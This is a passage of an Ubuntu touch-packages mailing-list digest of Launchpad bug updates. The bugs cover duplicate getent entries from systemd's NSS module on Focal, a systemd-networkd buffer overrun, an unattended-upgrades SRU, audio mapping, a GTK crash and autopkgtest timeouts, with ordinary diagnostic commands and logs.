https://bugs.launchpad.net/systemd/+bug/1902236/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1902236] Re: Duplicated root and nobody returned by getent on Focal

[Dan Streetman]

** Bug watch added: github.com/systemd/systemd/issues #15160
   https://github.com/systemd/systemd/issues/15160

** Also affects: systemd via
   https://github.com/systemd/systemd/issues/15160
   Importance: Unknown
   Status: Unknown

** Description changed:

+ [impact]
+ 
+ getent password or getent group returns duplicate, false/synthesized,
+ entries for root and nobody
+ 
+ [test case]
+ 
+ root@lp1902236-f:~# getent passwd | grep root
+ root:x:0:0:root:/root:/bin/bash
+ root:x:0:0:root:/root:/bin/sh
+ root@lp1902236-f:~# getent group | grep root
+ root:x:0:
+ root:x:0:
+ 
+ root@lp1902236-f:~# getent passwd | grep nobody
+ nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
+ nobody:x:65534:65534:nobody:/:/usr/sbin/nologin
+ root@lp1902236-f:~# getent group | grep nogroup
+ nogroup:x:65534:
+ nogroup:x:65534:
+ 
+ [regression potential]
+ 
+ any regression would likely result in incorrect results to calls to
+ getent or other programs using libnss-systemd
+ 
+ [scope]
+ 
+ this is needed only for f
+ 
+ this was fixed upstream by commit
+ 9494da41c271bb9519d3484b6016526a72cc6be5 which was included first in
+ v246, so this is fixed in g and later already.
+ 
+ b and earlier doesn't show the duplication.
+ 
+ [original description]
+ 
  * Summary
  
  systemd's NSS integration causes getent passwd/group to return
  duplicated entries for root/root and nobody/nogroup. The root account
  also gets a different shell (/bin/sh instead of /bin/bash).
  
  * Steps to reproduce:
  
  1) create a container
  $ lxc launch images:ubuntu/focal test-nobody
  2) check the root and nobody accounts
  $ lxc exec test-nobody -- getent passwd | grep -E '^(root|nobody):'
  3) check the root and nogroup groups
  $ lxc exec test-nobody -- getent group | grep -E '^(root|nogroup):'
  
  2 and 3 should report a single entry for each account/group but they
  return dups like this:
  
  root:x:0:0:root:/root:/bin/bash
  nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  root:x:0:0:root:/root:/bin/sh
  nobody:x:65534:65534:nobody:/:/usr/sbin/nologin
  
  * Description
  
  The problem seems to come from the NSS integration:
  
  $ lxc exec test-nobody -- grep -wF systemd /etc/nsswitch.conf
  passwd: files systemd
  group:  files systemd
  
  as the /etc/passwd and /etc/group file contain no dups:
  
  $ lxc exec test-nobody -- grep ^nobody: /etc/passwd
  nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  $ lxc exec test-nobody -- grep ^nogroup: /etc/group
  nogroup:x:65534:
  
  Removing systemd from /etc/nsswitch.conf indeed removes the dup.
  
  An alternative way of seeing what systemd adds on top of the flat files:
  
  $ lxc exec test-nobody -- bash -c 'diff -u /etc/passwd <(getent passwd)'
  --- /etc/passwd   2020-10-30 13:07:52.219261001 +
  +++ /dev/fd/632020-10-30 13:29:38.396928732 +
  @@ -24,3 +24,5 @@
   _apt:x:105:65534::/nonexistent:/usr/sbin/nologin
   ubuntu:x:1000:1000::/home/ubuntu:/bin/bash
   systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
  +root:x:0:0:root:/root:/bin/sh
  +nobody:x:65534:65534:nobody:/:/usr/sbin/nologin
  
  $ lxc exec test-nobody -- bash -c 'diff -u /etc/group <(getent group)'
  --- /etc/group2020-10-30 13:07:52.211261089 +
  +++ /dev/fd/632020-10-30 13:29:45.892846747 +
  @@ -50,3 +50,5 @@
   ubuntu:x:1000:
   ssh:x:111:
   systemd-coredump:x:999:
  +root:x:0:
  +nogroup:x:65534:
  
  * Additional information
  
  This bug seems to occur on Focal alone as Bionic and Groovy are not
  affected.
  
  $ lsb_release -rd
  Description:  Ubuntu 20.04.1 LTS
  Release:  20.04
  
  $ apt-cache policy base-passwd systemd
  base-passwd:
-   Installed: 3.5.47
-   Candidate: 3.5.47
-   Version table:
-  *** 3.5.47 500
- 500 http://archive.ubuntu.com/ubuntu focal/main amd64 Packages
- 100 /var/lib/dpkg/status
+   Installed: 3.5.47
+   Candidate: 3.5.47
+   Version table:
+  *** 3.5.47 500
+ 500 http://archive.ubuntu.com/ubuntu focal/main amd64 Packages
+ 100 /var/lib/dpkg/status
  systemd:
-   Installed: 245.4-4ubuntu3.2
-   Candidate: 245.4-4ubuntu3.2
-   Version table:
-  *** 245.4-4ubuntu3.2 500
- 500 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 Packages
- 100 /var/lib/dpkg/status
-  245.4-4ubuntu3 500
- 500 http://archive.ubuntu.com/ubuntu focal/main amd64 Packages
+   Installed: 245.4-4ubuntu3.2
+   Candidate: 245.4-4ubuntu3.2
+   Version table:
+  *** 245.4-4ubuntu3.2 500
+ 500 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 Packages
+ 100 /var/lib/dpkg/status
+  245.4-4ubuntu3 500
+ 500 http://archive.ubuntu.com/ubuntu focal/main amd64 Packages

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1902236

Title:
  Duplicated root and nobody returned by getent 

[Touch-packages] [Bug 1912331] Re: Many interfaces lead to "kernel receive buffer overrun"

[André Hänsel]

Where would I find those files? systemd-networkd is not something I have
consciously installed or configured, it just came with Ubuntu.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1912331

Title:
  Many interfaces lead to "kernel receive buffer overrun"

Status in systemd:
  Fix Released
Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Focal:
  Won't Fix
Status in systemd source package in Groovy:
  Fix Released

Bug description:
  This is about a systemd-networkd bug, described here:

  https://github.com/systemd/systemd/issues/14417

  There's a patch available:

  https://github.com/systemd/systemd/pull/16982

  Can this be backported to Focal?

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1912331/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1915547] Re: sru unattended-upgrades ( 1.1ubuntu1.18.04.7~16.04.6 update to 1.1ubuntu1.18.04.7~16.04.7 ) Xenial

[Bryce Harrington]

** Changed in: unattended-upgrades (Ubuntu Xenial)
   Status: New => Triaged

** Changed in: unattended-upgrades (Ubuntu Xenial)
   Importance: Undecided => High

** Changed in: unattended-upgrades (Ubuntu Xenial)
 Assignee: (unassigned) => Lucas Albuquerque Medeiros de Moura (lamoura)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to unattended-upgrades in
Ubuntu.
https://bugs.launchpad.net/bugs/1915547

Title:
   sru unattended-upgrades (  1.1ubuntu1.18.04.7~16.04.6  update to
  1.1ubuntu1.18.04.7~16.04.7 ) Xenial

Status in unattended-upgrades package in Ubuntu:
  New
Status in unattended-upgrades source package in Xenial:
  Triaged

Bug description:
  == Begin SRU Template ==
  [Impact]
  When upgrading from trusty to xenial, we are prompted about config changes on 
50unattended-upgrades with the following diff:

  --- /etc/apt/apt.conf.d/50unattended-upgrades root.root 0644 2017-05-08 
19:21:39
  +++ /etc/apt/apt.conf.d/50unattended-upgrades.ucftmp root.root 0644 
2020-02-17 18:03:38
  @@ -1,11 +1,13 @@
   // Automatically upgrade packages from these (origin:archive) pairs
   Unattended-Upgrade::Allowed-Origins {
  + "${distro_id}:${distro_codename}";
   "${distro_id}:${distro_codename}-security";
   // Extended Security Maintenance; doesn't necessarily exist for
   // every release and this system may not have it installed, but if
   // available, the policy for updates is such that unattended-upgrades
   // should also install from here by default.
  - "${distro_id}ESM:${distro_codename}";
  + "${distro_id}ESMApps:${distro_codename}-apps-security";
  + "${distro_id}ESM:${distro_codename}-infra-security";
   // "${distro_id}:${distro_codename}-updates";
   // "${distro_id}:${distro_codename}-proposed";
   // "${distro_id}:${distro_codename}-backports";

  The reason we are presented with this diff is that the xenial package
  does not contain a md5sum history file that informs ucf about all the
  supported configs for 50unattended-upgrades. To fix that upgrade
  problem, we are prosing the following changes on the xenial package of
  unattended-upgrades:

  - Add 50unattended-upgrades.md5sum file into the xenial package
  - Add md5sum of the current xenial 50unattende-upgrades file into the 
md5sum history file
  - Modify ucf command in postinst to be aware of the md5sum history file

  See the changelog entry below for a full list of changes and bugs.

  [Test Case]
  We have performed a manual test with a modified version of the xenial package:
  https://launchpad.net/~lamoura/+archive/ubuntu/unattended-upgrades-ppa

  Using that package, we were able to verify that the config change
  prompt no longer happens from trusty to xenial.

  
  [Regression Potential]
  Since we are modifying are features on unattended-upgrades, just adding a new 
file to package, we don't believe there is any regression potential

  [Discussion]

  == End SRU Template ==

  == Changelog ==

* data: add md5sum history file on the data folder
  - This file contains md5sum of several supported 50unattended-upgrades
config files
* data: add xenial md5sum of 50unattented-upgrades into md5sum file
* debian/postint: make ucf command reference the md5sum history file

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/unattended-upgrades/+bug/1915547/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1912331] Re: Many interfaces lead to "kernel receive buffer overrun"

[Dan Streetman]

please attach the systemd-networkd config file(s) so i can reproduce the
failure

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1912331

Title:
  Many interfaces lead to "kernel receive buffer overrun"

Status in systemd:
  Fix Released
Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Focal:
  Won't Fix
Status in systemd source package in Groovy:
  Fix Released

Bug description:
  This is about a systemd-networkd bug, described here:

  https://github.com/systemd/systemd/issues/14417

  There's a patch available:

  https://github.com/systemd/systemd/pull/16982

  Can this be backported to Focal?

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1912331/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1912331] Re: Many interfaces lead to "kernel receive buffer overrun"

[André Hänsel]

I don't completely understand it myself.

I have a Focal system with k3s installed and about 70 pods (about 150
containers) and about 70 veth devices.

In /lib/systemd/system/systemd-networkd.socket under "[Socket]" I have
set "ReceiveBuffer=128M".

Maybe that "128M" isn't enough but I can't add any more pods without
getting "Could not enumerate addresses: No buffer space available"
errors, so I *assumed* there's more to that patch than just the
ReceiveBuffer setting.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1912331

Title:
  Many interfaces lead to "kernel receive buffer overrun"

Status in systemd:
  Fix Released
Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Focal:
  Won't Fix
Status in systemd source package in Groovy:
  Fix Released

Bug description:
  This is about a systemd-networkd bug, described here:

  https://github.com/systemd/systemd/issues/14417

  There's a patch available:

  https://github.com/systemd/systemd/pull/16982

  Can this be backported to Focal?

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1912331/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1912331] Re: Many interfaces lead to "kernel receive buffer overrun"

[Dan Streetman]

> Can this be backported to Focal?

If I'm understanding the upstream bug correctly, this only affects those
using a really large number of interfaces and/or vlans and/or bridges on
a single system, and in that situation this can be worked around just by
increasing the socket receive buffer size for systemd-networkd.socket,
right?

If that's the case, I don't really think this is something valid for
backporting; the buffer increase is just delaying the ENOBUF, and if
more interfaces are added it may still happen. I believe the buffer size
adjustment is a configuration issue for anyone using such a large number
of interfaces.

However, if I've misunderstood the bug or patch, or if there are
problems with my evaluation of it, please provide specific steps and/or
config to reproduce the problem, so we can evaluate what's needed for
backporting to focal.

For now, marking as wontfix.

** Changed in: systemd (Ubuntu Focal)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1912331

Title:
  Many interfaces lead to "kernel receive buffer overrun"

Status in systemd:
  Fix Released
Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Focal:
  Won't Fix
Status in systemd source package in Groovy:
  Fix Released

Bug description:
  This is about a systemd-networkd bug, described here:

  https://github.com/systemd/systemd/issues/14417

  There's a patch available:

  https://github.com/systemd/systemd/pull/16982

  Can this be backported to Focal?

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1912331/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1903765] Re: Subwoofer mapped incorrectly on Macbook 2.1

[Carl Englund]

This problem persists on the same system with all the latest updates. I
did however notice that in the "hardware" part of the GUI there is no
longer a "2.1" option, so defaulting to analogue stereo output.

I tried connecting an external speaker ("headphone") and it sounded as
it should.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to alsa-driver in Ubuntu.
https://bugs.launchpad.net/bugs/1903765

Title:
  Subwoofer mapped incorrectly on Macbook 2.1

Status in alsa-driver package in Ubuntu:
  New

Bug description:
  It seems the 2.0 speakers get mapped to Speaker and the subwoofer is
  mapped to HEADPHONES, not LFE. I confirmed this by raising the volume
  for "headphones" in alsamixer and getting the base to play along.

  However, there seems to be no workaround in Ubuntu just using the
  sound GUI. My guess is, if ALSA would do the mapping to LFE correctly,
  I could use the 2.1 hardware map in the Ubuntu sound settings and all
  would be well!

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: alsa-base 1.0.25+dfsg-0ubuntu5
  ProcVersionSignature: Ubuntu 5.4.0-52.57-generic 5.4.65
  Uname: Linux 5.4.0-52-generic x86_64
  ApportVersion: 2.20.11-0ubuntu27.11
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  diskdoc3271 F pulseaudio
  CasperMD5CheckResult: skip
  CurrentDesktop: MATE
  Date: Tue Nov 10 21:33:29 2020
  InstallationDate: Installed on 2020-10-08 (33 days ago)
  InstallationMedia: Ubuntu-MATE 20.04 LTS "Focal Fossa" - Release amd64 
(20200423)
  PackageArchitecture: all
  SourcePackage: alsa-driver
  Symptom: audio
  Symptom_AlsaPlaybackTest: ALSA playback test through plughw:Intel successful
  Symptom_Card: Inbyggt ljud - HDA Intel
  Symptom_PulsePlaybackTest: PulseAudio playback test successful
  Symptom_Type: Only some of outputs are working
  Title: [HDA-Intel - HDA Intel, playback] Playback problem
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 06/27/07
  dmi.bios.vendor: Apple Inc.
  dmi.bios.version: MB21.88Z.00A5.B07.0706270922
  dmi.board.asset.tag: Base Board Asset Tag
  dmi.board.name: Mac-F4208CAA
  dmi.board.vendor: Apple Inc.
  dmi.board.version: PVT
  dmi.chassis.asset.tag: Asset Tag
  dmi.chassis.type: 10
  dmi.chassis.vendor: Apple Inc.
  dmi.chassis.version: Mac-F4208CAA
  dmi.modalias: 
dmi:bvnAppleInc.:bvrMB21.88Z.00A5.B07.0706270922:bd06/27/07:svnAppleInc.:pnMacBook2,1:pvr1.0:rvnAppleInc.:rnMac-F4208CAA:rvrPVT:cvnAppleInc.:ct10:cvrMac-F4208CAA:
  dmi.product.family: MacBook
  dmi.product.name: MacBook2,1
  dmi.product.sku: System SKUNumber
  dmi.product.version: 1.0
  dmi.sys.vendor: Apple Inc.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1903765/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1911036] Re: GDK/GTK app crash when performing drag operation

[XXX]

I tried install all the debug (dbg), dev and source packages I could
find for each of the libraries that might be an issue.  I attached the
result of running thunar through gdb.  FYI, the crash hangs mouse in the
display manager, forcing me to kill the subprocess via ssh.  The kill
takes place between the line starting with 554 and execution of bt.

I did another few tests which might point to either X11 or the display
manager.  I can log in from another computer (this one running Mageia),
remotely display thunar and moving an object does NOT crash thunar.

Regardless, I attached the gdb output as requested.  I tried installing
the glib2 source to satisfy the missing gmessages.c but it didn't seem
to find it.

** Attachment added: "thunar-gdb.out"
   
https://bugs.launchpad.net/ubuntu/+source/thunar/+bug/1911036/+attachment/5466674/+files/thunar-gdb.out

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gtk+3.0 in Ubuntu.
https://bugs.launchpad.net/bugs/1911036

Title:
  GDK/GTK app crash when performing drag operation

Status in gtk+3.0 package in Ubuntu:
  Incomplete
Status in thunar package in Ubuntu:
  Incomplete

Bug description:
  For many months now, whenever any mouse drag is attempted in an
  application using the gtk tool kit, the application immediately
  crashes. I've noticed this at least in Firefox and thunar. It also
  occurs when displaying these applications from a Virtualbox machine or
  from another server running something other than Ubuntu.  The VM was
  running CentOS 8 and the remote server was running Mageia. Both
  Firefox and thunar run fine with Mageia's Xorg. It seems like the
  issue may be with the Xorg server on Ubuntu.

  I tried setting the GDK_SYNCHRONIZE variable to various settings but
  was unable to produce further debug output. The only other debug
  output I was able to gather is when running thunar with the --gtk-
  debug parameter (attached). I also tried running thunar with GDB but
  without recompiling it, it doesn't produce much information other than
  it's stopping in glib.

  Let me know what other information I can provide.

  (firefox:110380): Gdk-ERROR **: 13:47:04.663: The program 'firefox' received 
an X Window System error.
  This probably reflects a bug in the program.
  The error was 'BadWindow (invalid Window parameter)'.
(Details: serial 8405 error_code 3 request_code 141 (Composite) minor_code 
8)
(Note to programmers: normally, X errors are reported asynchronously;
 that is, you will receive the error a while after causing it.
 To debug your program, run it with the GDK_SYNCHRONIZE environment
 variable to change this behavior. You can then get a meaningful
 backtrace from your debugger if you break on the gdk_x_error() function.)
  ExceptionHandler::GenerateDump cloned child 110611
  ExceptionHandler::SendContinueSignalToChild sent continue signal to child
  ExceptionHandler::WaitForContinueSignal waiting for continue signal...
  Exiting due to channel error.
  Exiting due to channel error.
  Exiting due to channel error.
  Exiting due to channel error.
  [1]+  Trace/breakpoint trap   (core dumped) firefox

  (Thunar:2961220): Gdk-ERROR **: 13:55:39.621: The program 'Thunar' received 
an X Window System error.
  This probably reflects a bug in the program.
  The error was 'BadWindow (invalid Window parameter)'.
(Details: serial 64804 error_code 3 request_code 141 (Composite) minor_code 
8)
(Note to programmers: normally, X errors are reported asynchronously;
 that is, you will receive the error a while after causing it.
 To debug your program, run it with the GDK_SYNCHRONIZE environment
 variable to change this behavior. You can then get a meaningful
 backtrace from your debugger if you break on the gdk_x_error() function.)
  Trace/breakpoint trap (core dumped)

  $ ldd /bin/thunar
  linux-vdso.so.1 (0x7ffc0c8cc000)
  libthunarx-3.so.0 => /lib/x86_64-linux-gnu/libthunarx-3.so.0 
(0x7fdbb548c000)
  libexo-2.so.0 => /lib/x86_64-linux-gnu/libexo-2.so.0 
(0x7fdbb544f000)
  libgudev-1.0.so.0 => /lib/x86_64-linux-gnu/libgudev-1.0.so.0 
(0x7fdbb5442000)
  libnotify.so.4 => /lib/x86_64-linux-gnu/libnotify.so.4 
(0x7fdbb5437000)
  libSM.so.6 => /lib/x86_64-linux-gnu/libSM.so.6 (0x7fdbb542c000)
  libICE.so.6 => /lib/x86_64-linux-gnu/libICE.so.6 (0x7fdbb540e000)
  libxfce4ui-2.so.0 => /lib/x86_64-linux-gnu/libxfce4ui-2.so.0 
(0x7fdbb53f3000)
  libgtk-3.so.0 => /lib/x86_64-linux-gnu/libgtk-3.so.0 
(0x7fdbb4c42000)
  libgdk-3.so.0 => /lib/x86_64-linux-gnu/libgdk-3.so.0 
(0x7fdbb4b3d000)
  libatk-1.0.so.0 => /lib/x86_64-linux-gnu/libatk-1.0.so.0 
(0x7fdbb4b13000)
  libcairo.so.2 => /lib/x86_64-linux-gnu/libcairo.so.2 
(0x7fdbb49f)
  libgdk_pixbuf-2.0.so.0 => 

[Touch-packages] [Bug 1915126] Re: autopkgtest times out (or fails before that) in hirsute on test infra, passes locally

[Iain Lane]

Sorry for not replying to comment #11, although we chatted on IRC.

The main difference is the passing of the test name I think, but the
full autopkgtest command that I used is at the top of the log. I hope
using this exact command and adding --shell-fail is enough for anyone to
reproduce.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1915126

Title:
  autopkgtest times out (or fails before that) in hirsute on test infra,
  passes locally

Status in Auto Package Testing:
  Incomplete
Status in systemd package in Ubuntu:
  Invalid

Bug description:
  Hi,
  I've asked yesterday on IRC but so far got no answer. I think it is right to 
file a bug about the current state of systemd autopkgtest to unite the efforts 
in regard to it.

  I was looking at the systemd tests for a no-change rebuild that really
  had no reason to now make it fail. While checking I found that as of
  this month (first bad test on 1st of February) most of the systemd
  test runs on amd64 will not pass/fail but instead in most cases time
  out.

  I've seen various people retry the case as it shows the typical
  symptoms of a "not the fault of the package, let us retry this" case.
  But it seems that won't help as the test history is rather clear.

  
  * Watch this in monospace to make more sense of it *

  $ check-autopkgtest-stats.sh -c 50 -p systemd -r "hirsute" -a "amd64"
  Check last 50 test results for src:systemd on releases 'hirsute' on 
architectures 'amd64'
  Of the 50 last tests, we had these subtest failing per release/arch:

  hirsute
amd64
  tests-in-lxd   (F  2% f  0% S  0% B 12% => P 52%/) 
.BTTTBTT.BTBTTTBBTTT..F..
  hostnamed  (F  0% f  0% S  0% B 12% => P 54%/) 
.BTTTBTT.BTBTTTBBTTT.
  build-login(F  0% f  0% S  0% B 12% => P 54%/) 
.BTTTBTT.BTBTTTBBTTT.
  unit-config(F  0% f  0% S  0% B 12% => P 54%/) 
.BTTTBTT.BTBTTTBBTTT.
  networkd-testpy(F  0% f  0% S  0% B 12% => P 54%/) 
.BTTTBTT.BTBTTTBBTTT.
  localed-locale (F  0% f  0% S  0% B 12% => P 54%/) 
.BTTTBTT.BTBTTTBBTTT.
  boot-and-services  (F  4% f  0% S  0% B 12% => P 50%/) 
.BTTTBTT.BTBTTTBBTTT...F.F...
  timedated  (F  0% f  0% S  0% B 12% => P 54%/) 
.BTTTBTT.BTBTTTBBTTT.
  boot-smoke (F  0% f  0% S  0% B 12% => P 54%/) 
.BTTTBTT.BTBTTTBBTTT.
  logind (F  0% f  0% S  0% B 12% => P 54%/) 
.BTTTBTT.BTBTTTBBTTT.
  storage(F  0% f  0% S  0% B 12% => P 54%/) 
.BTTTBTT.BTBTTTBBTTT.
  upstream   (F 12% f  0% S  0% B 12% => P 42%/) 
.BTTTBTT.BTBTTTBBTTTF.F.F..FF..F.
  udev   (F  0% f  0% S  0% B 12% => P 54%/) 
.BTTTBTT.BTBTTTBBTTT.
  systemd-fsckd  (F  8% f  0% S  0% B 12% => P 46%/) 
FBTTTBTTFBTBTTTBBTTT.F..F
  root-unittests (F  0% f  0% S  0% B 12% => P 54%/) 
.BTTTBTT.BTBTTTBBTTT.
  localed-x11-keymap (F  0% f  0% S  0% B 12% => P 54%/) 
.BTTTBTT.BTBTTTBBTTT.

  We see that formerly we had the known to be somewhat flaky, but
  otherwise working test (time goes from right to left). So we had the
  usual suspects of tests like upstream/systemd-fsck that failed a few
  times, but also working runs in between.

  But since February 22/24 runs failed very bad.
  6 (=B) of those cases are aborting mid execution
autopkgtest [22:08:58]: ERROR: testbed failure: testbed auxverb failed with 
exit code 255
  And 16 of them timed out
: failure: Timed out on waiting for ssh connection

  Sadly the 2/24 that didn't hard fail by that where broken by the known
  flaky systemd-fsckd test.

  Something drives this test crazy that we have to find and resolve, at
  the current rate nothing depending on it is likely to migrate.

To manage notifications about this bug go to:
https://bugs.launchpad.net/auto-package-testing/+bug/1915126/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1915126] Re: autopkgtest times out (or fails before that) in hirsute on test infra, passes locally

[Balint Reczey]

@laney Thank you for looking into the problem.

I will mark systemd-fsckd as flaky and look into the root cause later.
It used to be flaky before as well.

I have checked the last 10 failed runs from
http://autopkgtest.ubuntu.com/packages/systemd/hirsute/amd64 , with the
last one being from 2021-02-24 09:15:57 UTC:

$ cat logs 
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-hirsute/hirsute/amd64/s/systemd/20210224_091557_d5731@/log.gz
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-hirsute/hirsute/amd64/s/systemd/20210224_044536_8d27f@/log.gz
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-hirsute/hirsute/amd64/s/systemd/20210224_021229_4c845@/log.gz
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-hirsute/hirsute/amd64/s/systemd/20210224_013702_2056d@/log.gz
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-hirsute/hirsute/amd64/s/systemd/20210223_232058_6bbff@/log.gz
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-hirsute/hirsute/amd64/s/systemd/20210223_212809_c332e@/log.gz
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-hirsute/hirsute/amd64/s/systemd/20210223_145406_d6565@/log.gz
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-hirsute/hirsute/amd64/s/systemd/20210223_140557_825b0@/log.gz
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-hirsute/hirsute/amd64/s/systemd/20210223_130532_340ec@/log.gz
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-hirsute/hirsute/amd64/s/systemd/20210223_115952_4304b@/log.gz

$ wget -q -i logs
$ for i in log.gz*; do zcat $i | tail -n 40 | grep -A 16 "@@@ summary" | grep 
-v PASS ; done
autopkgtest [09:15:42]:  summary
upstream FAIL timed out
systemd-fsckdSKIP exit status 77 and marked as skippable
autopkgtest [04:45:21]:  summary
boot-and-servicesFAIL non-zero exit status 1
systemd-fsckdSKIP exit status 77 and marked as skippable
autopkgtest [02:00:12]:  summary
upstream FAIL timed out
systemd-fsckdSKIP exit status 77 and marked as skippable
autopkgtest [01:23:55]:  summary
boot-and-servicesFAIL non-zero exit status 1
upstream FAIL timed out
systemd-fsckdSKIP exit status 77 and marked as skippable
autopkgtest [23:20:34]:  summary
boot-and-servicesFAIL non-zero exit status 1
upstream FAIL non-zero exit status 1
systemd-fsckdSKIP exit status 77 and marked as skippable
autopkgtest [21:19:41]:  summary
boot-and-servicesFAIL non-zero exit status 1
upstream FAIL timed out
systemd-fsckdSKIP exit status 77 and marked as skippable
autopkgtest [14:53:35]:  summary
boot-and-servicesFAIL non-zero exit status 1
upstream FAIL timed out
systemd-fsckdSKIP exit status 77 and marked as skippable
autopkgtest [13:53:19]:  summary
upstream FAIL timed out
systemd-fsckdSKIP exit status 77 and marked as skippable
autopkgtest [13:03:15]:  summary
upstream FAIL timed out
systemd-fsckdSKIP exit status 77 and marked as skippable
autopkgtest [11:59:24]:  summary
boot-and-servicesFAIL non-zero exit status 1
upstream FAIL non-zero exit status 1
systemd-fsckdSKIP exit status 77 and marked as skippable

As you can see systemd-fsckd has been skipped in 10 out of 10 runs, but 
"upstream" test timed out in 7 out of the 10 runs.
If you would like to help improving the failure rate caused by the 
infrastructure please run the systemd autopkgtests on bigger VMs.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1915126

Title:
  autopkgtest times out (or fails before that) in hirsute on test infra,
  passes locally

Status in Auto Package Testing:
  Incomplete
Status in systemd package in Ubuntu:
  Invalid

Bug description:
  Hi,
  I've asked yesterday on IRC but so far got no answer. I think it is right to 
file a bug about the current state of systemd autopkgtest to unite the efforts 
in regard to it.

  I was looking at the systemd tests for a no-change rebuild that really
  had no reason to now make it fail. While checking I found that as of
  this month (first bad test on 1st of February) most of the systemd
  test runs on amd64 will not pass/fail but 

[Touch-packages] [Bug 1916773] Re: ua disable fips doesn't work in ua client 27

[David Coronel]

wrong project

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ifupdown in Ubuntu.
https://bugs.launchpad.net/bugs/1916773

Title:
  ua disable fips doesn't work in ua client 27

Status in ifupdown package in Ubuntu:
  Invalid

Bug description:
  I'm trying to disable FIPS from an Ubuntu Pro FIPS 18.04 image in AWS.
  I updated to the latest ua client in the daily PPA.  I have a prompt
  to disable it but it fails:

